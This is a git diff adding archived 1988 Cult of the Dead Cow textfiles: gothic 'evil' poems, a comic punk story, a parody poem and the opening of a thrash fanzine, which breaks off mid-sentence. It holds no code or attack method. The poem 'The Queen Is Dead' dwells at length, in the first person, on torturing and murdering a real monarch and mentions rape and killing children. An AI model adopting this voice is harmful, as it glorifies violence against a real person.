When she heard Harry's shriek while +he was in the shower she ran upwards to see what was wrong. When she got to +the shower where Harry had been she was greeted by an unpleasant sight. The +body of Harry (or rather an imitation thereof, for the real Harry was in +Hell) lay over the drain. His body was covered in lacerations and blood was +splashed all over the place. And right in the middle of his forehead stuck +out the handle of a knife, the blade buried deep within his cranium. Mrs. +Poindexter screamed only once before she died of massive heart palpitations. + +Thus ends our wonderful excursion into the Lower Infernal Regions. Join me +next time when we experience more demonic slaughter... + +=============================================================================== + (c)1988 cDc communications by The Raver 2/25/88-47 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0048.txt b/textfiles.com/groups/CDC/cDc-0048.txt new file mode 100644 index 00000000..f50e5a82 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0048.txt @@ -0,0 +1,232 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + EVIL POETRY Volume I + + by The Raver + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + A Collection of Evil Poems by The Raver + Volume I + --------------------------------------- + + This file I dedicate to my state of mind, no doubt out of control. +These six files of despair were written on 3/9/88 in the dark of night. I hope +that your life has been more rewarding than mine... + +_______________________________________________________________________________ +Contents: + + Introduction Lust for Death + Wails in the Night The Dark + Radiation Death The Whispering Wind +_______________________________________________________________________________ + +Stroke the keys as the text glides by; +Feel thine thoughts by and by. +Evil tales of Riders and Mares; +Syllabus of death and despair. + +If thou havest a weakened heart; +Then abort now for you may have a start. +These tales are wrought with sadness; +Lands of Death and Realms of Madness. + +Read on if thou art a brave soul; +Masters of death will take hold; +Clawing hands grasp at your throat; +See the blood well, fills the moat. + + +LUST FOR DEATH (3/9/88) + +Hangin' out in Hell is what I like to do; +Dead people scream and cry as you will too. +Mephistopheles sits on his iron throne; +Laughing at all as they whimper and moan. + +You know that you will soon arrive; +As death comes to all no matter how hard they strive. +Burning, enveloped in blazing flames; +Death manifests itself and kills and maims. + +As the lust for rest stalks amidst the corridors of your mind; +Know you that only endless torment is destined for your kind. +Assaulted by hordes of foul, winged beasts; +As you clutch your rotting meats. + +Scream and wail as you may; +Death is not yours today. +Nay, only endless torment and pain; +Will you gain in your sojourn in Hell. + + +WAILS IN THE NIGHT (3/9/88) + +As you sit home and weep and moan; +You feel that you are not alone. +An evil presence has manifested itself; +And preys on your good health. + +Sucking the very spirit from your soul; +The presence invades your brain like a mole. +Foul thoughts embrace your mind; +As death incarnate destroys your sight and makes you blind. + +Clumsily you meander through the darkened halls; +Screaming intensely as you stumble and fall. +Feel the presence gnawing on your soul; +As evil thoughts take control. + +Fall and fall again as you will; +Never again can you sit still. +Death has found a new toy; +Ancient dreams come to mind as you were a boy. + +As you have once been told; +Visions of horror unfold. +And death forces you to enjoy; +Your new life as a toy. + +Wails in the night; +Screams of fright. +No longer can you see; +As death wills it to be. + +Open the window and smell the salt air; +Climb out on the ledge and await the blackened mare. +Rider of Death, Reaper of Life; +At last, an end to your strife. + +As the pale sounds of horror fade away; +The Grim Reaper takes you with him, for you must pay. +Your life is at its end, my friend; +Ever more shall you pay for your gluttonous sin. + + +THE DARK (3/9/88) + +The dark is where I dwell; +My home away from a living Hell. +Evil thoughts cloud my mind; +As the darkness overwhelms Mankind. + +A simple step through the door; +Onto the soft, spongy floor. +Darkness covers my entire mass; +Soft flesh and sparkling glass. + +Journeying through streets on the run; +Counting the shadows, one by one. +Healthy thoughts, what a pity. +Such infests this Goddamned city. + +Life is not forever, such as people fail to understand; +When the end comes they will always flee this land. +Stranger things shall come to pass, as I don my mask; +Feel the chilled winds as I glare and tip my flask. + +The night is young but I am not; +Lustful thoughts of decay and rot. +Soon I shall pass away; +To come back another day. + + +RADIATION DEATH (3/9/88) + +Standing outdoors, thinking peaceful thoughts; +Looking out over the city, the steel is wrought. +Lovely day, pretty day, sun shining bright; +No idea that the world shall be plunged into night. + +Through the clouds passes a great steel bird; +Flight on atomic engines, hush, don't say a word. +Such a powerful sight, then comes the impact; +Incredibly bright, death is certain, this is a fact. + +Flames leap high, winds whirl throughout; +Feel the burning pain, no time to pout. +The end of the world has come to pass; +Destroying all, the bloody mass. + +Strands of mucous drip from your face; +The horrors your body endures, the ultimate disgrace. +Feel the seething pain from wounds galore; +Blood wells forth in the company of endless gore. + +The bright sun has retreated into timeless space; +Darkness overwhelms, no doubt the end of the human race. +Look up at the ashen sky with dull, red sockets; +All the cause of the horde of endless rockets. + +Light of the blazing fires fills the darkened sky; +Molten slag all the remains of the city. Why? +As you attempt to stumble painfully away; +You feel that you shall not outlive this day. + +The Lords of Darkness have passed their decree; +The end of life and the home of the free. +Maggots infest your lifeless husk; +As you lay at the outset of the ashen dusk. + +Centuries of advancement, our only cause; +Ended bitterly in minutes, no more hurrahs. +The world rotates about the blazing sun; +A lifeless ball of stone and clay, well done. + + +THE WHISPERING WIND (3/9/88) + +Whispering thoughts of ages untold; +Think of what it tells as the aeons unfold. +What knows the lost tales of ages past; +The whispering winds of Than'grast. + +Than'grast, ancient kingdom of shadow; +Ruled by the evil master, Ili'grado. +Life of shackles, endless reign; +Ruled by deceit, horrid pain. + +When darkness stalks the avenues of deceit, +Who else could thou'est meet? +Devils and demons of horror galore; +Flee the evil lands, for you can take no more. + +They stalk the alleyways, seeking fresh meat; +Run, run, for surely with their gaping maws will they greet. +Stalking the twisted ruins, feeding upon mortal men; +Stand up and flee, for surely they detect your sin. + +Think of the endless tales the whispering winds do tell; +Of the rivers of blood that rise and swell. +Madness inflicted by the whispering winds of lore; +Will you think as you ever have before? + +Scream and cry as the winds caress your feeble mind; +The ultimate punishment for a wicked mankind. +The old winds told me so; +And that is how I come to know. + + + Thus concludes Volume I of Evil Poetry, + more to come sooner than you might wish + ---------------------------------------- + +Dedicated to: Death, decay, our lifeless society, the end which shall come +to pass, Elisha, The Usurper, Mortis Primus for inspiring this file with Death +Poetry (I and II), and Satan, God, whomever. Also dedicated to Metallica. + +=============================================================================== + (c)1988 cDc communications by The Raver 3/9/88-48 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0049.txt b/textfiles.com/groups/CDC/cDc-0049.txt new file mode 100644 index 00000000..6ce8ad13 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0049.txt @@ -0,0 +1,96 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + THE QUEEN IS DEAD + a poem + + by Sunspot + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +You know there's something that I really must do, +And if you want I will tell it to you. +Are you ready cuz here I go, +If I go too fast, tell me to go slow. + +I have a mission that I must complete, +If I don't I'll be in the water with concrete shoes on my feet. +I must go to England and after one night in bed; +I have to leave with the knowledge that the queen is dead! + +I'm gonna take a gun, shoot it in her head; +Only then will I know that the queen is dead! +I'll take a knife and puncture her skull through her brain; +I will laugh as she screams in everlasting pain! + +I will beat her to death with a wooden stick, +Then when she is gone, I will give her a kick! +I will put her in the water and watch her drown, +And when she is dead, I won't be wearing a frown! + +I will choke her to death with some nylon rope, +And if it goes well, I might decide to kill the pope! +I will put bamboo shoots under her fingernails; +I will laugh in her face when she screams and wails. + +I will hit her in the head, +Making sure she's dead. +Stick a knife in her chest, +Right through her breast. + +Cut out her heart, +And tear it apart! +Grab hold of her arm and rip it off; +Make her stay there thinking, "I ain't so tough!" + +She must learn a true fact that she didn't know before; +She will learn it as she's crossing over death's door! +A bullet will kill a man, woman, child or baby; +There's no ifs', ands', buts', or even a maybe. + +A bullet will go through a pauper as well as a prince; +The same for a peasant girl or queen, they both shall wince! +Death comes to all, and to all comes death; +I will spit in your face as you take your last breath! + + +And when all is done, I will do it again; +Rape and pillage, kill and maim! + + +I will laugh at your pain, I will spit on your blood; +I will leave you to die in a puddle of mud. +I will kill all your children, and also your wife; +Make you watch this before I also take your life! + +I am death, I am life, I am both into one; +Only when I am killing can I really be having fun! +I do not keep count of how many have died, +Of how many people watched me and cried. + +And to all of them I laughed, and I am laughing still; +Because when you least expect it is when I make my kill! +I will watch you squirm like a dying worm, with your blood all over my hands; +Then you I will beat, from your head to your feet, it will be your final stand! + +All of this because the queen must die; +It is now known to you, as was known to I. +Oh, I will take a gun and shoot it into her head, +And only only then will I know - the queen is dead! +_______________________________________________________________________________ +Call Milliways to meet a deranged guy who gets off on writing these types +of files...(me! Sunspot!) Happy May, I hope you die by June + (718)/428-6776 +=============================================================================== + (c)1988 cDc communications by Sunspot 5/1/88-49 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0050.txt b/textfiles.com/groups/CDC/cDc-0050.txt new file mode 100644 index 00000000..c6324459 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0050.txt @@ -0,0 +1,60 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + THE SONG OF THE COW + a poem + + by Psychedelic Warlord + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +I need a butt-shine, +Right now +You are holy, +Oh, sacred Cow +I thirst for you, +Provide Milk. + +Buff my balls, +Love the Cow, +Good fortune for those that do. +Love me, breathe my feet, +The Cow has risen. + +Wax my ass, +Scrub my balls. +The Cow has risen, +Provide Milk. + +Oh, Milky wonder, sing for us once more, +Live your life, everlusting joy. +Thrust your hooves up my analytic passage, +Enjoy my fruits + +Provider of Cheese and other wonderful dairy products, +We will cleanse your inner intestines. +We will bathe in your Pungent Odor, +Gather cotton. + +Count my eyes, +Smell my skin, +Love the Scarecrow and the Milkman. +I live only for eternity, +Thirst for the undrinkable. +Hold the heat, +Praise the dough boy at the pizza shop. +Love the Oxen dung! + +=============================================================================== + (c)1988 cDc communications by Psychedelic Warlord 5/5/88-50 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0051.txt b/textfiles.com/groups/CDC/cDc-0051.txt new file mode 100644 index 00000000..613ad040 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0051.txt @@ -0,0 +1,181 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + THE DAY MY KID TURNED PUNK + + by The Dark Static + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + +(featuring variable indentions...) + +Preface:Earnie was in his teens, at the peek of puberty. He was just coming + to realize that the world was going to end someday. Terrified by this + horrible thought, he shuddered and popped in the newest tape from + Genesis..that temporarily brought him back to his usual self... He + spent many a day jamming those poor beaten speakers with his 3rd + class music. He pushed up his glasses and leaped over his bed + to the computer.. he had almost forgotten to cover his path on + the newly found UNIX account glaring on his green screen. After + this feat was accomplished ease, he started getting ready for the + computer meeting at the Library... After adding a few more handfuls + of mouse to his already greasy hair, he grabbed his backpack... + +Week later:The doorbell rings...Oh, it's only Gene, here at his usual time... + "So what new tapes did you bring, Gene?", questioned Earnie + in his high-pitched voice.. "I brought this awesome cool new + tape, and your definitely gonna spaz when you hear this shit!" + exclaimed Gene, in his normal 'Gosh Wally' type personality... + So they raced up to the bedroom to play them...After MEN AT WORK + came on, Earnie violently unplugged the 'jambox'. "Gosh Gene, + I thought you said it was new, I've heard that tape a million + times twice already... Say, let's go down and scope out some + chicks at the library...". "Sounds swell Earn'. Let's get down + there before anyone leaves...". They got down there alright, + and the selection wasn't too exciting... Gene tried his luck. + He walked up to a skinny girl with glasses. She shoved her pencil + up his ass when he tried 'touching' her... "Oh well Gene, at + least you DID get to touch her... I'm proud of you... Looks like + we'll make a man out of you yet". "Gee, do you really think so?" + +Later in the week:(Over the phone):"Ok Gene, I guess you can come over + today...This time bring a GOOD tape...". "Alright, on my way + dood, get ready to ROCK!" + +After arriving:Earnie answered the door... Gene started talking before + Earnie could speak. "Earn bud, so sorry my man, but I can't + stay, but I at least brought you over this tape... I don't know + what's on the back side, so try it out..". "Ok, thanks Gene. + Tomorrow?". "You bet, see you at the normal time." + +Later:"Earnie, get your tail down here. Your supper's getting cold". "Be right + down ma.". After making a game of jumping down the stairs, he skipped to + the dinner table... "Ma, guess. I got another 'A' in advanced Geometry + Techniques class today... That makes 16 in a row..". "Geez your such a + nerd... Just go jump off the roof!" said his sister [17, and gets bad + grades]. "Now Angie, that's not acceptable at the table! Wipe your mouth + and go to your room!" squeaked their timid father, speaking for the first + time. Satisfied with the results of this, Earnest makes a face at his + normal [and quite gorgeous] sister as she ignores her dad's command + with a laugh. + +That night:[Things get interesting]. Being satisfied with the first side + of the tape, he flips it over and pops it back in.. After a period of + silence, Earnie concluded that the volume was too low...So he turned + it to '10'. Suddenly some very frightening music blasts throughout the + house... Paralyzed by the event, Earnie was unable to turn it off... + The tape rumbled for 10 minutes before his dad burst through the door. + Earnie's hair was on end, and his face was red.. His dad leaped over + the bed and turned it off...It took quite some time for Earnie to + mutter 'I'm.........o.....k....". + +That night Earnie couldn't sleep.. His mind was filled with thoughts that +wouldn't go away...He was unknowingly transforming inside... + +Next morning:Getting ready for school was the normal routine...Almost. + Today he put on eyeliner, as if he had always done that + before school..He toyed around with thoughts for lyrics, + but lyrics that were totally different to him.. Not even + Earnie knew what was slowly happening to himself.. + +At the Breakfast table:"Earnie, you're such a dick!" said his sister. + Not even waiting for his parents to say anything, he blurts + out "Fuck off bitch... I have every right to eat at the same + table with such a goddess as yourself, please, can I can that + privilege bitch?".. The table was now silent..Dad looked at + Mom. Mom stared at Earnie. And so did his sister. This had + never happened before. Things were going to be different. + +And now the present:Today, Earnie was wearing his dad's boots from + the war...Oddly, he also had the dogleash around his neck. + [Along with that, he killed the dog for biting him when he + was trying to get it.]. People at school still hadn't gotten + over Earnie's transformation... They thought he had totally + flipped from being on his computer too much. + +Earnie was on his way to the local CoOp to pick up some new tapes.. Today he +was getting Suicidal Tendencies - Join the Army tape, and SOD - Speak English +Or die.. He didn't quite have enough to get a COC tape. "Shit" he exclaimed +as he was a nickel short. His brain had gone to waste in these new days, and +he decided to steal the tapes instead of the logical thing - Ask for a nickel! +Of course, he got caught, this was only his first attempt out of many to +come... + +At the station: Earnie was sitting in between 2 headbangers...Here's the +conversation: + +"Hey fag, what's the makeup for?" +"Fuck off, it's too much for a Scrotum Sucking Slut like you to contemplate + all at once!"-Earn +"Hey, you're a dead mother fucker! prepare to die!" +He and his friend got up to jump him, and he surprisingly pulled out +a newly purchased knife and slashed one while they pounded away...The charges +against him were adding up. He was being busted for: Theft, Computer Fraud, +Computer trespassing, and now Attempted Murder... Yes, there was a long +sentence for Earnie.. But don't worry, he should be out by the time he +is 60... + +[ Moral ] + + Let this be a lesson for any of you nerds out there, never try +to be who you aren't. Be yourself. + +Final notes: + +a] The 'old' Earnie: + + ___ + /.. \ -----greasy hair + ! _ ! + \___/ + / \ -------weak arms + !! !! + !! !! + w! !w + !___! + / \ + ! ! ! + ! ! ! + ! ! ! + _! ! !_ + !___!___! + +b]the present Earnie: + + ! + ! -----MOHAWK + _!_ + /.. \ + ! _ !. -----earring + __\___/__ + / \ + ! ! ! ! + ! ! ! ! + ! ! ! ! + ww! !ww + !_____! + / \ + ! ! ! + ! ! ! + ! ! ! + !___!___! + ! ! ! ----Docs + ! ! ! + __! ! !__ + !______!______! + +-This file was for slightly humorous purposes only. Ok, so I got bored! + Don't yell at me... + +=============================================================================== + (c)1988 cDc communications by The Dark Static 1/28/88-51 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0052.txt b/textfiles.com/groups/CDC/cDc-0052.txt new file mode 100644 index 00000000..3ecbd635 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0052.txt @@ -0,0 +1,764 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications presents... [ x x ] + \ / \ / + (` ') CROSS OF IRON FANZINE (` ') + (U) (U) + + Volume I, Number 1 (Part #1) May-June 1988 (c)1988 cDc + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +FROM THE DEMON'S DEN Written by The Raver "Yo dude, mosh the bathroom!" + + Yeah, and welcome to the pre(fuckin)miere issue of the unholy thrash +FanZine, CROSS OF IRON. We are not only promising to be THE best thrash 'zine +out in the computer underground, we WILL be the best. But we aren't like +arrogant dudes or anything -- just read the issue and see what YOU think. + + We all know that the MetalliBasher's FanZine was the first 'puter +underground FanZine, and we also know that MBI is dead. So what now? Why, +it's time to get nailed to the ... CROSS OF IRON! + + But before I go on any further, I guess I gotta tell ya how COI came +about, right? Well, back in the dark ages of '86 a couple'a dudes and I were +just hanging out in the darklands of NC and we decided that the state needed a +good/brutal FanZine, so CROSS OF IRON was born. All nice and well, but then +a few problems came about -- most of the staff bailed out leaving just a few +of us with all the explaining to do. Well, not content to sit on our asses +we have decided to turn CROSS OF IRON into the first REAL electronic FanZine +with industry-backing. So there you have it in a nutshell... the death and +rebirth of CROSS OF IRON. And now, since my brutal joining to cDc, CROSS OF +IRON has become the official cDc communications E-Zine. + + We also plan to eat the old MBI 'zine alive (and spit the wasted +sectors back out into your face). No offense to any MBI'ers or associated +followers who're reading this, but the MBI 'zine had quite a few problems. +The main probs are all that are important, tho', and those were: lack of +ideas (Beer Ratings?), stolen interviews (like I'm sure that the Metal Forces +interview with ANTHRAX was "exclusively" for the MBI FanZine), and general +lack of timely info. + + The CROSS OF IRON staff have quite a few contacts in the thrash +underground and we receive albums and press releases in the mail all the time +and setting up live interviews is not hard at all. So what does that mean to +you, brain-dead reader? Why, massive quantities of information (why else would +this issue be so fuckin' big, eh?). So watch out, we're gonna show you how to +do a real electronic thrash FanZine! + +Crunch-a-Munch, Crunch-a-Munch, Cruncha, Cruncha, Crunch-a-Munch -- The Raver + +------------------------------------------------------------------------------- +EDITOR'S INTREPID MESSAGE: Hey, if ya don't like what ya read then sue us, ok? +------------------------------------------------------------------------------- +CROSS OF IRON'S RADIO SHOW ("RUDE AWAKENING") TOP TEN 4/15/88 Arrgh + +1. HALLOWS EVE Monument 6. ZNOWHITE Act Of God +2. METALLICA Ride The Lightning 7. NECROPHAGIA Season Of The Dead +3. SLAYER Reign In Blood 8. INDESTROY Indestroy +4. SACRED REICH Ignorance 9. TOXIK World Circus +5. WRATH Nothing To Fear 10. ATROCITY Live And Live Again (demo) + +Yeah, if you're ever in Winston-Salem, NC, then check out RUDE AWAKENING every +Friday night from 12:00 to 2:00 in the morning. It's the most devastating +radio show in the state. On WAKE Radio AM 530 (soon to be FM). + +------------------------------------------------------------------------------- +UPCOMING NEW RENAISSANCE RELEASES: Compiled by Anaxagorus + +May 6 Speed Metal Hell Compilation (re-stocked and re-released) +May 13 GARGOYLE Debut LP +May 20 KING KOBRA King Kobra III +May 27 SCREAMER Debut LP +June 3 WEHRMACHT Beermacht +June 10 PROWLER Prowling Death Squad +June 10 IRON CHRIST Debut Mini-LP +June 17 THE UNSANE Inverted Crosses +June 24 Thrash Metal II Compilation + +------------------------------------------------------------------------------- +VEHICULAR MEAT SLAUGHTER + New Thrash/Hardcore News! + Compiled by The Raver + +DEADLY BLESSING: Originally formed in 1985 by Ski (vocals) and Tony Kerr +(guitar), Deadly Blessing has had their first vinyl pressing come about on New +Renaissance Records. After numerous lineup changes and a long search to find +true pro players, the arrival of Tom Bach (guitar), Nick Mitchell (bass), and +Wayne Kellie (drums) were added to complete this powerful metal unit. Soon +the band released an impressive demo that, with its incredible vocals and +tight, driving sound, drew the attention of many 'zines and college radio +stations on the East coast. Now a long term deal with New Renaissance Records +has been signed (includes for both U.S. and European releases). Be on the +lookout for a limited special edition EP (NRR 39) out last January and their +debut LP "Ascend From the Cauldron" on LP (NRR 37), cassette (NRC 37), and +compact disc (NRCD 37) last month (February). You can get in touch with +DEADLY BLESSING by writing them in care of their management firm: Bullwinkle +Management Inc, 64 E. Branch Ave., Pine Hill NJ 08021. + +NUCLEAR ASSAULT SIGNS TO I.R.S. RECORDS: This is news to us. Seems as if +after numerous problems between the Nuclear guys and their label, Nuclear +Assault has left Combat for greener pastures ... I.R.S. Records. According +to Combat this is a one-shot deal and Combat will get 'em back after they +do one LP for I.R.S. It's a pretty strange deal that only the higher-ups +really understand. Read about the problems in the article, "A Chat With The +Nuclear Guys" -- in this issue. + +SATAN'S REVENGE COMPILATION OUT SOON: New Renaissance Records has announced +the acts which will be appearing on "Satan's Revenge Part Two". The groups +include: THE UNSANE (East Meadow, NY), RIPPING CORPSE (Red Bank, NJ), TEMPTER +(Aurora, IL), DAMIEN (Sweden), SACRED DEATH (Old Bridge, NJ), ANGKOR WATT +(Corpus Christi, TX), NECROVORE (New Brs., TX), DARKNESS (West Germany), +SEVERE WARNING (Northfield, OH), MORBID ANGEL (Charlotte, NC - Yahooz!), and +VACANT GRAVE (Manchester, MO). The Satan's Revenge compilation series began +in 1986 with the release of the first volume, which included Artillery, +Desecration, NME, and others. The record fell under the eye of the PMRC, who +opposed the record in all possible ways. When one of the bands members on +volume one was convicted of murder, the label discontinued the album's prod- +uction. As a result, Satan's Revenge (volume one) has become a collectors' +record. All the songs on Satan's Revenge Part Two have lyrics which deal with +occult subjects. A number of the musicians which appear on this album are +actively involved in the practice of the various occult arts. Some, however, +do not practice magick but are interested in it as a subject for their lyrics. +Released April 15th... + +MORBID FABLES: Swiss death masters, CELTIC FROST, have not split up, contrary +to popular rumors. Tom, Reed, and Martin are working on new material right +now for the next album, although it looks as though guitarist Ron Marks won't +be working with Da Frosties any longer. A new Swiss axeman has joined the +ranks, and Tom Warrior promises that this album is gonna be leaner and meaner +than the last [Yeah? -Eds]. And what's that we heard about FROST doing the +soundtrack for an upcoming major gothic horror film? We'll keep you posted. + +SELDOM SEEN SACRIFICE: Two members of Canadian-based SACRIFICE, Joe Rico and +Rob Urbinati, had a promotional visit to the Metal Blade Offices in January +to give a jolt to their album "Forward To Termination". They also did an in- +store appearance at Thrash Records that went great. Interested in SACRIFICE? +Want a SACRIFICE tee? Write to: SACRIFICE, c/o Fringe Products, P.O. Box 670, +Station A, Toronto, Ontario, Canada, M5W-IG2. + +THE NIGHTMARE CONTINUES: The dark and devious band known as HELLION, led by +the mysterious Ann Boleyn (prez. of New Renaissance), are starting off a big +European tour with the release of their new EP "Postcards From the Asylum". +A few of the stops for March include: Salisbury, Bristol, Stoke, London, +Leeds, Leicester, Birmingham (all in England), Amsterdam (The Netherlands), +Bremen, Hamburg, Dusseldorf, Nurnberg, Moehinger (all in West Germany), Zurich +(Switzerland), and Paris (France). April is to be filled with more dates in +England, Spain, and Scandinavia. A continuance of this terrifying report will +follow soon... + +MENTORS ON THE LOOSE: ...Hide the women and children. The MENTORS are still +out on a successful tour and will commence on their third LP, "Rock Bible" +soon. Perhaps Jimmy Swaggart should make a guest appearance. + +NOISY NEWS: The good old dudes from NOISE International are hard at work. +Seems as if April was a devastating month for the German label. New releases +included VOIVOD's "Dimension Hatross" and a limited edition compilation LP +entitled "Doomsday News". In the studio are RAGE, SCANNER, and HELLOWEEN +(who are working on the followup to "Keeper of the Seven Keys, Part 1", which +will be called none other than "Keeper of the Seven Keys, Part 2"). Ahh, I +almost forgot [Nooo! You can't do that! -Eds]... HELLOWEEN's new LP (see +above) will be released in August, to be followed by a massive world tour. + +DR. KNOW EXPLOITED AGAIN: Rik Heller (drummer) has left DR. KNOW to join the +English punk band, THE EXPLOITED. You may remember that the two bands toured +together last year. Larry White, formerly with Stalag 13, is the new skinsman +for DR. KNOW. + +COMPLETE DEATH TOUR: Two bands that were featured on COMPLETE DEATH 2, +TYRANNICIDE and ANGKOR WAT, will be doing some dates together down south this +summer.. Fuck yeah.. + +ThE BiRdhOUsE: "More raw power than a dozen Harley's put together" is what +THE BIRDHOUSE'S label, Link Records, says. I'd tend to agree. These guys +really kicked my ass. Drawn from backgrounds as far apart as New Zealand to +the U.K. to Italy, THE BIRDHOUSE form a melting pot of hardcore/Detroit punk/ +metal thrash, and Australian rock. This is some seriously good shit. They +first met on the streets of Brixton during the '85 riots, surrounded by +urban decaying wastelands they saw through the fire and carnage and saw a +future. THE BIRDHOUSE have just released their napalm assault on the U.S. +with their debut domestic LP on Link Records. The EP, entitled "Burnin' Up", +not to be confused with the import EP, will be released soon. + +FATES WARNING RELEASES "NO EXIT": The new masterpiece from FATES WARNING, +"No Exit", is an approach to metal few would dare and only FATES WARNING can +pull it off. Featuring the epic, "The Ivory Gate of Dreams", a twenty-five +minute voyage that makes rock history. Powerful, progressive, and intell- +igent. "No Exit" is for metal gourmets. Produced by Roger Probert. Executive +Producer and mixed by Max Norman. On Metal Blade Records, marketed by Enigma. + +CRACKED UP CORROSION: Simon Bob Sinister has left CORROSION OF CONFORMITY on +account of musical differences. This may be viewed as good or bad... it all +depends on your thoughts. I live in North Carolina, so I definitely have my +thoughts on the matter. Simon is putting together his old band, THE UGLY +AMERICANS, who were on Death Records. Meanwhile, COC is auditioning singers. +If you think you have what it takes to howl for COC, contact William at Death +Records. (818) 981-9050. + +CANDLEMASS SIGNED, SEALED, AND DELIVERED: Swedish metal act, CANDLEMASS, has +just signed a multi-record contract with Metal Blade Records. This deal came +about after Metal Blade licensed their latest LP, "Night Fall" from Axis +Records in England. + +NEW RENAISSANCE RECORDS TO BE DISTRIBUTED IN EUROPE: LA based New Renaissance +Records has announced an agreement with U.K. based Pinnacle Imports for the +exclusive distribution of its products in England and Europe. Distribution in +the U.S. will continue to be handled by Important Record Distributors. And +look out for a London based NRR office by the spring of 1988. + +DRI WORKING ON NEXT LP: DRI headed back into the studio for their follow-up to +"Crossover" last Feb. 8th. Bill Metoyer (Metal Blade's inhouse engineer) will +be producing. No word on the title yet. Look for the album this summer with +a live video of the band at The Ritz in NYC. A few song titles are "Dead In +A Ditch", "Suit And Tie Guy", and the soon to be classic "Shut Up". + +NEW TROUBLE LP: TROUBLE headed into the studio a week or so back to begin work +on a new LP. Hopefully to be released around July. + +ANN BOLEYN SINGS ON MOVIE SOUNDTRACK: HELLION vocalist Ann Boleyn has been +busy recording some music for the soundtrack of the upcoming motion picture +RETURN OF THE LIVING DEAD -- PART TWO. Ann's voice will be included in the +remake of that famous tune, THE MONSTER MASH, which will play at the end of +the film when the credits are being shown. + +VIKING HAS SIGNED WITH METAL BLADE: VIKING of Metal Massacre 8 fame has been +signed to a Metal Blade/Restless deal and their first release, "Do Or Die" +was released last Feb. 12. They have played with the likes of MEGADETH and +DARK ANGEL and are well worthy of a thrash title. + +OMEN TO RECORD NEW LP: OMEN began recording a new LP on February 26th. Paul +O'Neil of AEROSMITH and SAVATAGE fame is producing this project. Expect this +release in late summer. + +QUORTHON ESCAPES LA POLICE DEPARTMENT: Swedish doom-metal master Quorthon of +BATHORY had a close call with the Los Angeles Police Department during his +recent voyage to America. Reportedly Quorthon was on top of an apartment +building breathing fire for a photo shoot with Italian photographer P.G. +Brunelli when some people in a neighboring high-rise spotted the flame and +phoned the local Fire and Police departments. When the police cars arrived on +the street below, Quorthon and his entourage spotted the flashing lights and +made a quick get-away. By the time Quorthon was driving away a number of fire +engines had also appeared on the scene. + +MEGADETH SUES LA BAND NAMED "MEGADEATH": Dave Mustaine and his band mates +have won a temporary court order restraining a Los Angeles band from using the +name MEGADEATH. Though differing by one letter, both names are based on the +term for one million dead people, presumably in a nuclear disaster. A large +amount of slagging has been rumored to be going on between both of the Megas. + -- FROM THE WALL STREET JOURNAL. + +RADICAL MEGADETH LINEUP CHANGES: Speaking of MEGADETH, here is a rather nasty +turn of events. Dave "God" Mustaine (pardon, me) has fired both Gar Samuleson +and Chris Poland from the band and replaced them with Chuck Bieler (drums) and +Jay Reynolds (guitar). Unfortunately for Jay, he was fired a few weeks later +and was replaced by his very own guitar teacher, Jeff Young. Whew. A brief +sidenote is that one of my friends from Pittsburgh, PA said that Bieler looks +like a slug. Hah hah hah. + + More thrashin' news in the next mind boggling issue of CROSS OF IRON. + +------------------------------------------------------------------------------- + + \ F / + \ / Fuck The Plastic Army! + \ / ------------------------ + P X A <[ THRASHING RAGE ]> + / \ ------------------------ + / \ by His Unholiness ANAXAGORUS + / T \ + +Then to me he said, "Although I may get angry, do not fear, for I will win the +fight, whatever is contrived within." -Dante, The Divine Comedy + +This is probably the most political-type article that you will read in this +issue of CROSS OF IRON. This is my forum, the floor of thrashers and skins. +In this article I will discuss two occurrences which dually piss me off. In +both of these situations, the rights of thrashers and skins are being abused. +How can we, as a group, stand for this? The time is nigh to fight back. + +The first of these occurrences takes place in my very home, Winston-Salem, NC +(a rather backasswards place to live, in the first place). Being a fairly +small city, there is only one halfway-decent mall complex to shop at. There +are several stores of interest there to thrashers and skins, these being the +two record stores and a store specializing in t-shirts, leathers, and jewelry +called Leather Express. The mall also serves as a simple hangout - a place to +hook up with others. + +It seems as if the security guards there hate punks and thrashers with a +passion, especially punks. I may not be a punk, but I am a thrasher, and I +can sympathize with the hell that they go through there. First off, they are +always abused verbally by the rent-a-pigs. Some have even been assaulted - I +have seen this happen. We are talking being dragged down a service hall and +being slammed face first into a wall and then being told to "Get against the +wall". Why did this happen? Because they dressed the way they do, and THAT +is WRONG. Although I have never been assaulted, I have been told to leave +because of having a hole in my "Hetfield" jeans. I guess if we all bowed down +to their mightiness and wore Polo shirts and loafers that they would leave us +all alone, but this is (?) a free country and people have the right to wear +what they want to wear. Even more pathetic is that you can purchase thrash and +hardcore shirts at the mall and be 